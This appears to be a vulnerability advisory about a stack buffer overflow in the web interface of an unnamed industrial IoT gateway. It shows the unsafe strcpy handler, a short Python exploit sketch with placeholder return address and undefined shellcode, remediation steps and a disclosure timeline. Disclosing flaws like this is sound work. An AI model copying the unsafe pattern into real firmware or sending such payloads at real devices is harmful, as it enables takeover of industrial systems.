Striga
Buffer Overflow in Industrial IoT Gateway
Analysis of a stack-based buffer overflow vulnerability in a popular industrial IoT gateway firmware.
Overview
During firmware analysis of a widely deployed industrial IoT gateway, we identified a critical stack-based buffer overflow in the device's web management interface. This vulnerability allows remote code execution with root privileges.
Vulnerability Details
The vulnerable function handles HTTP POST requests for device configuration:
void handle_config_update(char *request) {
char buffer[256];
char *param = get_param(request, "config_data");
strcpy(buffer, param); // No bounds checking
process_config(buffer);
}The strcpy function copies user-controlled input without validating the length, allowing an attacker to overflow the stack buffer.
Exploitation
The attack requires:
- Crafting a POST request with oversized
config_dataparameter - Overwriting the return address on the stack
- Redirecting execution to attacker-controlled shellcode
import requests
payload = b"A" * 256 # Fill buffer
payload += b"B" * 8 # Saved frame pointer
payload += p64(0xdeadbeef) # Return address
payload += shellcode
requests.post(
"http://target/api/config",
data={"config_data": payload}
)Impact
- Severity: Critical (CVSS 9.8)
- Attack Vector: Network (requires access to management interface)
- Privileges Required: None
- Impact: Complete device compromise, potential pivot point into OT network
Remediation
- Replace
strcpywithstrncpyor safer alternatives - Implement input validation and length checks
- Enable stack canaries and ASLR in firmware build
- Restrict management interface access to trusted networks
Timeline
- 2025-01-10: Vulnerability discovered
- 2025-01-11: Vendor notified via security@vendor.com
- 2025-01-15: Vendor acknowledged receipt
- 2025-01-25: Firmware patch released (v2.4.1)
- 2025-01-28: Public disclosure